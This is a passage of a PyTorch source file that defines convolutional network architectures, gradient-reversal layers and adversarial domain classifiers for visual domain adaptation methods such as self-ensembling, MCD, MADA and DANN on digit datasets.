3), padding=1)\n self.conv2_2 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.conv2_3 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(64, 128, (3, 3), padding=1)\n self.conv3_2 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv3_3 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout()\n\n self.fc4 = nn.Linear(128, 128)\n self.fc5 = nn.Linear(128, n_classes)\n\n nninit.xavier_normal(self.conv1_1.weight)\n nninit.xavier_normal(self.conv1_2.weight)\n nninit.xavier_normal(self.conv2_1.weight)\n nninit.xavier_normal(self.conv2_2.weight)\n nninit.xavier_normal(self.conv2_3.weight)\n nninit.xavier_normal(self.conv3_1.weight)\n nninit.xavier_normal(self.conv3_2.weight)\n nninit.xavier_normal(self.conv3_3.weight)\n nninit.xavier_normal(self.fc4.weight)\n nninit.xavier_normal(self.fc5.weight)\n\n nn.utils.weight_norm(self.conv1_1, 'weight')\n nn.utils.weight_norm(self.conv1_2, 'weight')\n nn.utils.weight_norm(self.conv2_1, 'weight')\n nn.utils.weight_norm(self.conv2_2, 'weight')\n nn.utils.weight_norm(self.conv2_3, 'weight')\n nn.utils.weight_norm(self.conv3_1, 'weight')\n nn.utils.weight_norm(self.conv3_2, 'weight')\n nn.utils.weight_norm(self.conv3_3, 'weight')\n nn.utils.weight_norm(self.fc4, 'weight')\n\n def forward(self, x):\n x = F.relu(self.conv1_1(x))\n x = self.pool1(F.relu(self.conv1_2(x)))\n\n x = F.relu(self.conv2_1(x))\n x = F.relu(self.conv2_2(x))\n x = self.pool2(F.relu(self.conv2_3(x)))\n\n x = F.relu(self.conv3_1(x))\n x = F.relu(self.conv3_2(x))\n x = self.pool3(F.relu(self.conv3_3(x)))\n\n x = F.avg_pool2d(x, 4)\n x = x.view(-1, 128)\n x = self.drop1(x)\n\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\n\n@architecture('grey-32-64-128-gp-nonorm', (1, 32, 32))\nclass Grey_32_64_128_gp_nonorm(nn.Module):\n def __init__(self, n_classes):\n super(Grey_32_64_128_gp_nonorm, self).__init__()\n\n self.conv1_1 = nn.Conv2d(1, 32, (3, 3), padding=1)\n self.conv1_2 = nn.Conv2d(32, 32, (3, 3), padding=1)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(32, 64, (3, 3), padding=1)\n self.conv2_2 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.conv2_3 = nn.Conv2d(64, 64, (3, 3), padding=1)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(64, 128, (3, 3), padding=1)\n self.conv3_2 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv3_3 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout(p=0.5)\n\n self.fc4 = nn.Linear(128, 128)\n self.fc5 = nn.Linear(128, n_classes)\n\n nninit.xavier_normal(self.conv1_1.weight)\n nninit.xavier_normal(self.conv1_2.weight)\n nninit.xavier_normal(self.conv2_1.weight)\n nninit.xavier_normal(self.conv2_2.weight)\n nninit.xavier_normal(self.conv2_3.weight)\n nninit.xavier_normal(self.conv3_1.weight)\n nninit.xavier_normal(self.conv3_2.weight)\n nninit.xavier_normal(self.conv3_3.weight)\n nninit.xavier_normal(self.fc4.weight)\n nninit.xavier_normal(self.fc5.weight)\n\n def forward(self, x):\n x = F.relu(self.conv1_1(x))\n x = self.pool1(F.relu(self.conv1_2(x)))\n\n x = F.relu(self.conv2_1(x))\n x = F.relu(self.conv2_2(x))\n x = self.pool2(F.relu(self.conv2_3(x)))\n\n x = F.relu(self.conv3_1(x))\n x = F.relu(self.conv3_2(x))\n x = self.pool3(F.relu(self.conv3_3(x)))\n\n x = F.avg_pool2d(x, 4)\n x = x.view(-1, 128)\n x = self.drop1(x)\n\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\n\n@architecture('rgb-48-96-192-gp', (3, 32, 32))\nclass RGB_48_96_192_gp(nn.Module):\n def __init__(self, n_classes):\n super(RGB_48_96_192_gp, self).__init__()\n\n self.conv1_1 = nn.Conv2d(3, 48, (3, 3), padding=1)\n self.conv1_1_bn = nn.BatchNorm2d(48)\n self.conv1_2 = nn.Conv2d(48, 48, (3, 3), padding=1)\n self.conv1_2_bn = nn.BatchNorm2d(48)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(48, 96, (3, 3), padding=1)\n self.conv2_1_bn = nn.BatchNorm2d(96)\n self.conv2_2 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv2_2_bn = nn.BatchNorm2d(96)\n self.conv2_3 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv2_3_bn = nn.BatchNorm2d(96)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(96, 192, (3, 3), padding=1)\n self.conv3_1_bn = nn.BatchNorm2d(192)\n self.conv3_2 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv3_2_bn = nn.BatchNorm2d(192)\n self.conv3_3 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv3_3_bn = nn.BatchNorm2d(192)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout(p=0.5)\n\n self.fc4 = nn.Linear(192, 192)\n self.fc5 = nn.Linear(192, n_classes)\n\n def forward(self, x):\n x = F.relu(self.conv1_1_bn(self.conv1_1(x)))\n x = self.pool1(F.relu(self.conv1_2_bn(self.conv1_2(x))))\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = F.relu(self.conv2_2_bn(self.conv2_2(x)))\n x = self.pool2(F.relu(self.conv2_3_bn(self.conv2_3(x))))\n\n x = F.relu(self.conv3_1_bn(self.conv3_1(x)))\n x = F.relu(self.conv3_2_bn(self.conv3_2(x)))\n x = self.pool3(F.relu(self.conv3_3_bn(self.conv3_3(x))))\n\n x = F.avg_pool2d(x, 4)\n x = x.view(-1, 192)\n x = self.drop1(x)\n\n x = F.relu(self.fc4(x))\n x = self.fc5(x)\n return x\n\n\n@architecture('rgb-128-256-down-gp', (3, 32, 32))\nclass RGB_128_256_down_gp(nn.Module):\n def __init__(self, n_classes):\n super(RGB_128_256_down_gp, self).__init__()\n\n self.conv1_1 = nn.Conv2d(3, 128, (3, 3), padding=1)\n self.conv1_1_bn = nn.BatchNorm2d(128)\n self.conv1_2 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv1_2_bn = nn.BatchNorm2d(128)\n self.conv1_3 = nn.Conv2d(128, 128, (3, 3), padding=1)\n self.conv1_3_bn = nn.BatchNorm2d(128)\n self.pool1 = nn.MaxPool2d((2, 2))\n self.drop1 = nn.Dropout()\n\n self.conv2_1 = nn.Conv2d(128, 256, (3, 3), padding=1)\n self.conv2_1_bn = nn.BatchNorm2d(256)\n self.conv2_2 = nn.Conv2d(256, 256, (3, 3), padding=1)\n self.conv2_2_bn = nn.BatchNorm2d(256)\n self.conv2_3 = nn.Conv2d(256, 256, (3, 3), padding=1)\n self.conv2_3_bn = nn.BatchNorm2d(256)\n self.pool2 = nn.MaxPool2d((2, 2))\n self.drop2 = nn.Dropout()\n\n self.conv3_1 = nn.Conv2d(256, 512, (3, 3), padding=0)\n self.conv3_1_bn = nn.BatchNorm2d(512)\n self.nin3_2 = nn.Conv2d(512, 256, (1, 1), padding=1)\n self.nin3_2_bn = nn.BatchNorm2d(256)\n self.nin3_3 = nn.Conv2d(256, 128, (1, 1), padding=1)\n self.nin3_3_bn = nn.BatchNorm2d(128)\n\n self.fc4 = nn.Linear(128, n_classes)\n\n def forward(self, x):\n x = F.relu(self.conv1_1_bn(self.conv1_1(x)))\n x = F.relu(self.conv1_2_bn(self.conv1_2(x)))\n x = self.pool1(F.relu(self.conv1_3_bn(self.conv1_3(x))))\n x = self.drop1(x)\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = F.relu(self.conv2_2_bn(self.conv2_2(x)))\n x = self.pool2(F.relu(self.conv2_3_bn(self.conv2_3(x))))\n x = self.drop2(x)\n\n x = F.relu(self.conv3_1_bn(self.conv3_1(x)))\n x = F.relu(self.nin3_2_bn(self.nin3_2(x)))\n x = F.relu(self.nin3_3_bn(self.nin3_3(x)))\n\n x = F.avg_pool2d(x, 6)\n x = x.view(-1, 128)\n\n x = self.fc4(x)\n return x\n\n\n@architecture('rgb40-48-96-192-384-gp', (3, 40, 40))\nclass RGB40_48_96_192_384_gp(nn.Module):\n def __init__(self, n_classes):\n super(RGB40_48_96_192_384_gp, self).__init__()\n\n self.conv1_1 = nn.Conv2d(3, 48, (3, 3), padding=1)\n self.conv1_1_bn = nn.BatchNorm2d(48)\n self.conv1_2 = nn.Conv2d(48, 48, (3, 3), padding=1)\n self.conv1_2_bn = nn.BatchNorm2d(48)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(48, 96, (3, 3), padding=1)\n self.conv2_1_bn = nn.BatchNorm2d(96)\n self.conv2_2 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv2_2_bn = nn.BatchNorm2d(96)\n self.conv2_3 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv2_3_bn = nn.BatchNorm2d(96)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(96, 192, (3, 3), padding=1)\n self.conv3_1_bn = nn.BatchNorm2d(192)\n self.conv3_2 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv3_2_bn = nn.BatchNorm2d(192)\n self.conv3_3 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv3_3_bn = nn.BatchNorm2d(192)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.conv4_1 = nn.Conv2d(192, 384, (3, 3), padding=1)\n self.conv4_1_bn = nn.BatchNorm2d(384)\n self.conv4_2 = nn.Conv2d(384, 384, (3, 3))\n self.conv4_2_bn = nn.BatchNorm2d(384)\n\n self.drop1 = nn.Dropout()\n\n self.fc5 = nn.Linear(384, 384)\n self.fc6 = nn.Linear(384, n_classes)\n\n def forward(self, x):\n x = F.relu(self.conv1_1_bn(self.conv1_1(x)))\n x = self.pool1(F.relu(self.conv1_2_bn(self.conv1_2(x))))\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = F.relu(self.conv2_2_bn(self.conv2_2(x)))\n x = self.pool2(F.relu(self.conv2_3_bn(self.conv2_3(x))))\n\n x = F.relu(self.conv3_1_bn(self.conv3_1(x)))\n x = F.relu(self.conv3_2_bn(self.conv3_2(x)))\n x = self.pool3(F.relu(self.conv3_3_bn(self.conv3_3(x))))\n\n x = F.relu(self.conv4_1_bn(self.conv4_1(x)))\n x = F.relu(self.conv4_2_bn(self.conv4_2(x)))\n\n x = F.avg_pool2d(x, 3)\n x = x.view(-1, 384)\n x = self.drop1(x)\n\n x = F.relu(self.fc5(x))\n x = self.fc6(x)\n return x\n\n\n@architecture('rgb40-96-192-384-gp', (3, 40, 40))\nclass RGB40_96_192_384_gp(nn.Module):\n def __init__(self, n_classes):\n super(RGB40_96_192_384_gp, self).__init__()\n\n self.conv1_1 = nn.Conv2d(3, 96, (3, 3), padding=1)\n self.conv1_1_bn = nn.BatchNorm2d(96)\n self.conv1_2 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv1_2_bn = nn.BatchNorm2d(96)\n self.conv1_3 = nn.Conv2d(96, 96, (3, 3), padding=1)\n self.conv1_3_bn = nn.BatchNorm2d(96)\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.conv2_1 = nn.Conv2d(96, 192, (3, 3), padding=1)\n self.conv2_1_bn = nn.BatchNorm2d(192)\n self.conv2_2 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv2_2_bn = nn.BatchNorm2d(192)\n self.conv2_3 = nn.Conv2d(192, 192, (3, 3), padding=1)\n self.conv2_3_bn = nn.BatchNorm2d(192)\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.conv3_1 = nn.Conv2d(192, 384, (3, 3), padding=1)\n self.conv3_1_bn = nn.BatchNorm2d(384)\n self.conv3_2 = nn.Conv2d(384, 384, (3, 3), padding=1)\n self.conv3_2_bn = nn.BatchNorm2d(384)\n self.conv3_3 = nn.Conv2d(384, 384, (3, 3), padding=1)\n self.conv3_3_bn = nn.BatchNorm2d(384)\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.drop1 = nn.Dropout()\n\n self.fc4 = nn.Linear(384, n_classes)\n\n def forward(self, x):\n x = F.relu(self.conv1_1_bn(self.conv1_1(x)))\n x = F.relu(self.conv1_2_bn(self.conv1_2(x)))\n x = self.pool1(F.relu(self.conv1_3_bn(self.conv1_3(x))))\n\n x = F.relu(self.conv2_1_bn(self.conv2_1(x)))\n x = F.relu(self.conv2_2_bn(self.conv2_2(x)))\n x = self.pool2(F.relu(self.conv2_3_bn(self.conv2_3(x))))\n\n x = F.relu(self.conv3_1_bn(self.conv3_1(x)))\n x = F.relu(self.conv3_2_bn(self.conv3_2(x)))\n x = self.pool3(F.relu(self.conv3_3_bn(self.conv3_3(x))))\n\n x = self.drop1(x)\n x = F.avg_pool2d(x, 5)\n x = x.view(-1, 384)\n\n x = self.fc4(x)\n return x\n\n\ndef robust_binary_crossentropy(pred, tgt):\n inv_tgt = -tgt + 1.0\n inv_pred = -pred + 1.0 + 1e-6\n return -(tgt * torch.log(pred + 1.0e-6) + inv_tgt * torch.log(inv_pred))\n\n\ndef bugged_cls_bal_bce(pred, tgt):\n inv_tgt = -tgt + 1.0\n inv_pred = pred + 1.0 + 1e-6\n return -(tgt * torch.log(pred + 1.0e-6) + inv_tgt * torch.log(inv_pred))\n\n\ndef log_cls_bal(pred, tgt):\n return -torch.log(pred + 1.0e-6)\n\n\ndef get_cls_bal_function(name):\n if name == 'bce':\n return robust_binary_crossentropy\n elif name == 'log':\n return log_cls_bal\n elif name == 'bug':\n return bugged_cls_bal_bce\n\n\n# The end of \"Self-ensembling for visual domain adaptation\"\n\n# ADA Network\nclass SVHNmodel(nn.Module):\n \"\"\"\n Model for application on SVHN data (32x32x3)\n Architecture identical to https://github.com/haeusser/learning_by_association\n \"\"\"\n\n def __init__(self):\n super(SVHNmodel, self).__init__()\n\n self.features = nn.Sequential(\n nn.InstanceNorm2d(3),\n conv2d(3, 32, 3),\n conv2d(32, 32, 3),\n conv2d(32, 32, 3),\n nn.MaxPool2d(2, 2, padding=0),\n conv2d(32, 64, 3),\n conv2d(64, 64, 3),\n conv2d(64, 64, 3),\n nn.MaxPool2d(2, 2, padding=0),\n conv2d(64, 128, 3),\n conv2d(128, 128, 3),\n conv2d(128, 128, 3),\n nn.MaxPool2d(2, 2, padding=0)\n )\n\n self.classifier = nn.Sequential(\n nn.Linear(128 * 4 * 4, 10)\n )\n\n def forward(self, x):\n phi = self.features(x)\n phi_mean = phi.view(-1, 128, 16).mean(dim=-1)\n phi = phi.view(-1, 128 * 4 * 4)\n y = self.classifier(phi)\n\n return phi_mean, y\n\n\nclass FrenchModel(nn.Module):\n \"\"\"\n Model used in \"Self-Ensembling for Visual Domain Adaptation\"\n It is same with \"RGB_128_256_down_gp(nn.Module):\"\n by French et al.\n \"\"\"\n\n def __init__(self):\n super(FrenchModel, self).__init__()\n\n def conv2d_3x3(inp, outp, pad=1):\n return nn.Sequential(\n nn.Conv2d(inp, outp, kernel_size=3, padding=pad),\n nn.BatchNorm2d(outp),\n nn.ReLU()\n )\n\n def conv2d_1x1(inp, outp):\n return nn.Sequential(\n nn.Conv2d(inp, outp, kernel_size=1, padding=0),\n nn.BatchNorm2d(outp),\n nn.ReLU()\n )\n\n def block(inp, outp):\n return nn.Sequential(\n conv2d_3x3(inp, outp),\n conv2d_3x3(outp, outp),\n conv2d_3x3(outp, outp)\n )\n\n self.features = nn.Sequential(\n block(3, 128),\n nn.MaxPool2d(2, 2, padding=0),\n nn.Dropout2d(p=0.5),\n block(128, 256),\n nn.MaxPool2d(2, 2, padding=0),\n nn.Dropout2d(p=0.5),\n conv2d_3x3(256, 512, pad=0),\n conv2d_1x1(512, 256),\n conv2d_1x1(256, 128),\n nn.AvgPool2d(6, 6, padding=0)\n )\n\n self.classifier = nn.Sequential(\n nn.Linear(128, 10)\n )\n\n def forward(self, x):\n phi = self.features(x)\n phi = phi.view(-1, 128)\n # print(x.size(), phi.size())\n y = self.classifier(phi)\n\n return phi, y\n\n\n# MCD_UDA network\nclass GradReverse(Function):\n def __init__(self, lambd):\n self.lambd = lambd\n\n def forward(self, x):\n return x.view_as(x)\n\n def backward(self, grad_output):\n return grad_output * -self.lambd\n\n\ndef grad_reverse(x, lambd=1.0):\n return GradReverse(lambd)(x)\n\n\n# In MCD_UDA network\n# svhn to mnist\nclass s2mFeature(nn.Module):\n def __init__(self):\n super(s2mFeature, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, kernel_size=5, stride=1, padding=2)\n self.bn1 = nn.BatchNorm2d(64)\n self.conv2 = nn.Conv2d(64, 64, kernel_size=5, stride=1, padding=2)\n self.bn2 = nn.BatchNorm2d(64)\n self.conv3 = nn.Conv2d(64, 128, kernel_size=5, stride=1, padding=2)\n self.bn3 = nn.BatchNorm2d(128)\n self.fc1 = nn.Linear(8192, 3072)\n self.bn1_fc = nn.BatchNorm1d(3072)\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.bn1(self.conv1(x))), stride=2, kernel_size=3, padding=1)\n x = F.max_pool2d(F.relu(self.bn2(self.conv2(x))), stride=2, kernel_size=3, padding=1)\n x = F.relu(self.bn3(self.conv3(x)))\n x = x.view(x.size(0), 8192)\n x = F.relu(self.bn1_fc(self.fc1(x)))\n x = F.dropout(x, training=self.training)\n return x\n\n\nclass s2mPredictor(nn.Module):\n def __init__(self, prob=0.5):\n super(s2mPredictor, self).__init__()\n self.fc1 = nn.Linear(8192, 3072)\n self.bn1_fc = nn.BatchNorm1d(3072)\n self.fc2 = nn.Linear(3072, 2048)\n self.bn2_fc = nn.BatchNorm1d(2048)\n self.fc3 = nn.Linear(2048, 10)\n self.bn_fc3 = nn.BatchNorm1d(10)\n self.prob = prob\n\n def set_lambda(self, lambd):\n self.lambd = lambd\n\n def forward(self, x, reverse=False):\n if reverse:\n x = grad_reverse(x, self.lambd)\n x = F.relu(self.bn2_fc(self.fc2(x)))\n x = self.fc3(x)\n return x\n\n\n# syn to gtrsb\nclass s2gFeature(nn.Module):\n def __init__(self):\n super(s2gFeature, self).__init__()\n self.conv1 = nn.Conv2d(3, 96, kernel_size=5, stride=1, padding=2)\n self.bn1 = nn.BatchNorm2d(96)\n self.conv2 = nn.Conv2d(96, 144, kernel_size=3, stride=1, padding=1)\n self.bn2 = nn.BatchNorm2d(144)\n self.conv3 = nn.Conv2d(144, 256, kernel_size=5, stride=1, padding=2)\n self.bn3 = nn.BatchNorm2d(256)\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.bn1(self.conv1(x))), stride=2, kernel_size=2, padding=0)\n x = F.max_pool2d(F.relu(self.bn2(self.conv2(x))), stride=2, kernel_size=2, padding=0)\n x = F.max_pool2d(F.relu(self.bn3(self.conv3(x))), stride=2, kernel_size=2, padding=0)\n x = x.view(x.size(0), 6400)\n return x\n\n\nclass s2gPredictor(nn.Module):\n def __init__(self):\n super(s2gPredictor, self).__init__()\n self.fc2 = nn.Linear(6400, 512)\n self.bn2_fc = nn.BatchNorm1d(512)\n self.fc3 = nn.Linear(512, 43)\n self.bn_fc3 = nn.BatchNorm1d(43)\n\n def set_lambda(self, lambd):\n self.lambd = lambd\n\n def forward(self, x, reverse=False):\n if reverse:\n x = grad_reverse(x, self.lambd)\n x = F.relu(self.bn2_fc(self.fc2(x)))\n x = F.dropout(x, training=self.training)\n x = self.fc3(x)\n return x\n\n\n# usps\nclass uFeature(nn.Module):\n def __init__(self):\n super(uFeature, self).__init__()\n self.conv1 = nn.Conv2d(1, 32, kernel_size=5, stride=1)\n self.bn1 = nn.BatchNorm2d(32)\n self.conv2 = nn.Conv2d(32, 48, kernel_size=5, stride=1)\n self.bn2 = nn.BatchNorm2d(48)\n\n def forward(self, x):\n x = torch.mean(x, 1).view(x.size()[0], 1, x.size()[2], x.size()[3])\n x = F.max_pool2d(F.relu(self.bn1(self.conv1(x))), stride=2, kernel_size=2, dilation=(1, 1))\n x = F.max_pool2d(F.relu(self.bn2(self.conv2(x))), stride=2, kernel_size=2, dilation=(1, 1))\n # print(x.size())\n x = x.view(x.size(0), 48 * 4 * 4)\n return x\n\n\nclass uPredictor(nn.Module):\n def __init__(self, prob=0.5):\n super(uPredictor, self).__init__()\n self.fc1 = nn.Linear(48 * 4 * 4, 100)\n self.bn1_fc = nn.BatchNorm1d(100)\n self.fc2 = nn.Linear(100, 100)\n self.bn2_fc = nn.BatchNorm1d(100)\n self.fc3 = nn.Linear(100, 10)\n self.bn_fc3 = nn.BatchNorm1d(10)\n self.prob = prob\n\n def set_lambda(self, lambd):\n self.lambd = lambd\n\n def forward(self, x, reverse=False):\n if reverse:\n x = grad_reverse(x, self.lambd)\n x = F.dropout(x, training=self.training, p=self.prob)\n x = F.relu(self.bn1_fc(self.fc1(x)))\n x = F.dropout(x, training=self.training, p=self.prob)\n x = F.relu(self.bn2_fc(self.fc2(x)))\n x = F.dropout(x, training=self.training, p=self.prob)\n x = self.fc3(x)\n return x\n\n\nclass AdversarialNetwork(nn.Module):\n def __init__(self, in_feature_size, lr_mult=10, decay_mult=2, output_num=1, sigmoid=True):\n super(AdversarialNetwork, self).__init__()\n self.in_features_size = in_feature_size\n # self.hidden_size = hidden_size\n self.lr_mult = lr_mult\n self.decay_mult = decay_mult\n\n self.discriminator = nn.Sequential(\n # nn.Linear(in_feature, hidden_size),\n # nn.ReLU(),\n # nn.Dropout(0.5),\n # nn.Linear(hidden_size, hidden_size),\n # nn.ReLU(),\n # nn.Dropout(0.5),\n # nn.Linear(hidden_size, output_num),\n nn.Linear(self.in_features_size, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(1024, 1024),\n nn.BatchNorm1d(1024),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(1024, 1),\n nn.Sigmoid()\n )\n # if sigmoid:\n # self.discriminator.add_module(name='sigmoid', module=nn.Sigmoid())\n #\n # self.output_num = output_num\n self.discriminator.apply(init_weights)\n\n def forward(self, x, alpha):\n x = ReverseLayerF.apply(x, alpha)\n\n y = self.discriminator(x)\n\n return y\n\n def get_parameters(self):\n parameters = [\n {\"params\": self.discriminator.parameters(), \"lr_mult\": self.lr_mult, 'decay_mult': self.decay_mult}\n ]\n return parameters\n\n\n# MADA\nclass MADA(nn.Module):\n def __init__(self, n_classes, pretrained=True):\n super(MADA, self).__init__()\n\n self.n_classes = n_classes\n self.pretrained = pretrained\n\n self.base_model = ResNet50(n_classes=n_classes, pretrained=pretrained)\n self.lr_mult = 10\n self.decay_mult = 2\n self.use_init = True\n self.use_dropout = True\n\n self.domain_classifiers = nn.ModuleList()\n for i in range(n_classes):\n self.domain_classifiers.append(\n AdversarialNetwork(\n in_feature_size=self.base_model.features_output_size,\n # hidden_size=1024,\n lr_mult=self.lr_mult,\n decay_mult=self.decay_mult,\n # output_num=1,\n # sigmoid=True\n )\n )\n\n def forward(self, x, alpha=1.0, test_mode=False):\n if test_mode:\n class_outputs = self.base_model(x, get_features=False, get_class_outputs=True)\n return class_outputs\n\n features, class_outputs = self.base_model(x, get_features=True, get_class_outputs=True)\n\n softmax_class_outputs = nn.Softmax(dim=1)(class_outputs).detach()\n\n i = -1\n domain_outputs = []\n for ad in self.domain_classifiers:\n i += 1\n weighted_features = softmax_class_outputs[:, i].view(-1, 1) * features\n if i == 0:\n domain_outputs = ad(weighted_features, alpha=alpha)\n else:\n domain_outputs = torch.cat([domain_outputs, ad(weighted_features, alpha=alpha)], dim=1)\n\n return domain_outputs, class_outputs\n\n def get_parameters(self):\n parameters = self.base_model.get_parameters()\n for ad in self.domain_classifiers:\n parameters += ad.get_parameters()\n\n return parameters\n\n\nclass Classifier(nn.Module):\n def __init__(self, n_classes, input_dimension):\n super().__init__()\n\n self._n_classes = n_classes\n self._clf = nn.Linear(input_dimension, n_classes)\n\n def forward(self, x):\n return self._clf(x)\n\n\nclass ConvNet(nn.Module):\n def __init__(self):\n super().__init__()\n\n self._convnet = nn.Sequential(\n nn.Conv2d(3, 32, kernel_size=3),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.Conv2d(32, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2)\n )\n\n def forward(self, x):\n return self._convnet(x)\n\n\nclass GRL(torch.autograd.Function):\n def __init__(self, factor=-1):\n super().__init__()\n self._factor = factor\n\n def forward(self, x):\n return x\n\n def backward(self, grad):\n return self._factor * grad\n\n\nclass ReverseLayerF(Function):\n\n @staticmethod\n def forward(ctx, x, alpha):\n ctx.alpha = alpha\n\n return x.view_as(x)\n\n @staticmethod\n def backward(ctx, grad_output):\n output = grad_output.neg() * ctx.alpha\n\n return output, None\n\n\nclass DANN2(nn.Module):\n def __init__(self, n_classes, base_model, pretrained=True):\n super(DANN2, self).__init__()\n\n self.n_classes = n_classes\n self.pretrained = pretrained\n\n if base_model == 'ResNet50':\n self.base_model = ResNet50(n_classes=n_classes, pretrained=pretrained)\n self.lr_mult = 10\n self.decay_mult = 2\n\n if base_model == 'DigitsStoM':\n self.base_model = DigitsStoM(n_classes=n_classes)\n self.lr_mult = 1\n self.decay_mult = 1\n\n if base_model == 'DigitsMU':\n self.base_model = DigitsMU(n_classes=n_classes)\n self.lr_mult = 1\n self.decay_mult = 1\n\n self.domain_classifier = AdversarialNetwork(\n in_feature_size=self.base_model.features_output_size,\n lr_mult=self.lr_mult,\n decay_mult=self.decay_mult\n )\n\n def forward(self, x, alpha=1.0, test_mode=False, is_source=True):\n if test_mode:\n class_outputs = self.base_model(x, get_features=False, get_class_outputs=True)\n return class_outputs\n\n if is_source:\n features, class_outputs = self.base_model(x, get_features=True, get_class_outputs=True)\n domain_outputs = self.domain_classifier(features, alpha=alpha)\n return domain_outputs, class_outputs\n else:\n features = self.base_model(x, get_features=True, get_class_outputs=False)\n domain_outputs = self.domain_classifier(features, alpha=alpha)\n return domain_outputs\n\n def get_parameters(self):\n return self.base_model.get_parameters() + self.domain_classifier.get_parameters()\n\n\n# Domain_Adaptation network for \"MNIST [1,28,28] <-> USPS[1,28,28]\"\nclass DigitsMU(nn.Module):\n def __init__(self, n_classes, use_dropout=False):\n super(DigitsMU, self).__init__()\n self.n_classes = n_classes\n self.use_dropout = use_dropout\n\n self.normalization_layer = nn.BatchNorm2d(1)\n\n self.feature_extracter = nn.Sequential(\n nn.Conv2d(1, 32, (5, 5)),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.MaxPool2d((2, 2)),\n nn.Conv2d(32, 64, (3, 3)),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(64, 64, (3, 3)),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.MaxPool2d((2, 2)),\n )\n\n self.use_dropout = True\n if self.use_dropout:\n self.feature_extracter.add_module(name='dropout', module=nn.Dropout(0.5))\n\n self.features_output_size = 1024\n\n self.classifier = get_small_classifier(\n in_features_size=self.features_output_size,\n n_classes=n_classes\n )\n\n def forward(self, x, get_features=False, get_class_outputs=True):\n if get_features == False and get_class_outputs == False:\n return None\n\n x = self.normalization_layer(x)\n\n features = self.feature_extracter(x)\n features = features.view(-1, 1024)\n\n if get_features == True and get_class_outputs == False:\n return features\n\n class_outputs = self.classifier(features)\n\n if get_features:\n return features, class_outputs\n else:\n return class_outputs\n\n def get_parameters(self):\n return [\n {'params': self.feature_extracter.parameters(), 'lr_mult': 1, 'decay_mult': 1},\n {'params': self.classifier.parameters(), 'lr_mult': 1, 'decay_mult': 1}\n ]\n\n\n# Domain_Adaptation network for \"SVHN [3,32,32] -> MNIST [3,32,32]\"\nclass DigitsStoM(nn.Module):\n def __init__(self, n_classes, use_dropout=False):\n super(DigitsStoM, self).__init__()\n\n self.use_dropout = use_dropout\n self.normalization_layer = nn.BatchNorm2d(3)\n\n self.feature_extracter = nn.Sequential(\n nn.Conv2d(3, 128, (3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(128, 128, (3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(128, 128, (3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.MaxPool2d((2, 2)),\n nn.Dropout(),\n nn.Conv2d(128, 256, (3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(256, 256, (3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(256, 256, (3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.MaxPool2d((2, 2)),\n nn.Dropout(),\n nn.Conv2d(256, 512, (3, 3), padding=0),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(512, 256, (1, 1), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(256, 128, (1, 1), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.AvgPool2d((6, 6))\n )\n\n if 